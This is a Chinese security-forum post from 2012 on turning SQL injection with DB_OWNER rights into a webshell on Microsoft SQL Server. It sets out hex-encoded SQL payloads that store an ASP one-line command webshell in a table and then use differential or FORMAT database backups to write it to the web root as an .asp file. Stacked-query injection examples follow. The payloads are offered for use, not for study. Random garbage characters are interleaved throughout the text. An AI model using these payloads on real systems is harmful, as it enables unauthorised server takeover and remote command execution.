找回密码
 立即注册
查看: 2854|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:57:12 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
减少备份文件大小,得到可执行的webshell成功率提高不少
, e5 F5 M/ r: d1 p  U& B3 C3 m& t1 V6 _3 P+ c
一利用差异备份
, l0 z2 g3 L% E加一个参数WITH DIFFERENTIAL
; H3 C! M% a, d* B. P
/ n, L- N  Z* ]7 \# xdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s. b4 f" q$ }% |7 }9 h' N
create table [dbo].[xiaolu] ([cmd] [image]);1 p, c5 e3 D4 X& o  o, }' a, `. m
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
9 E; Z4 e0 n( S% @, p' J5 O) d4 m4 A) wdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
7 |* V% J; t2 e3 N4 L$ K6 j: K; G5 w6 X% e
二利用完全FORMAT
6 Q4 r  @6 |5 }! G" e! W2 E" }加一个参数WITH FROMAT1 z' f% Z) v/ m* q  G4 o
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
# L$ c9 E3 `2 C  r, o+ m0 w- u) f5 U2 J  e( F0 {( z  e
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s; m+ x% F3 C" m! ~2 f' N( t" |
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
  M# D) y$ \- R. f9 q- e/ E& Jdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
3 n# \" M6 y8 ~! v  j3 P1 p( D6 ]0 A% z
总的来说就是那么简单几句,下面以备份数据库model为例子, G1 {$ }9 P3 h: x$ e5 f5 j: g/ O
4 [8 ~9 f0 ]. Y- j8 t
id=1;use model create table cmd(str image);insert into cmd(str) values (”), ]- r; m/ ]1 a5 ?$ V7 X: t( X

+ w0 I. i5 F+ }  }' b0 G8 lid=1;backup database model to disk=’你的路径‘ with differential,format;–, H9 k6 h' a- j& ~

: k& p' ^; D/ y2 j. j' U  `0 L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表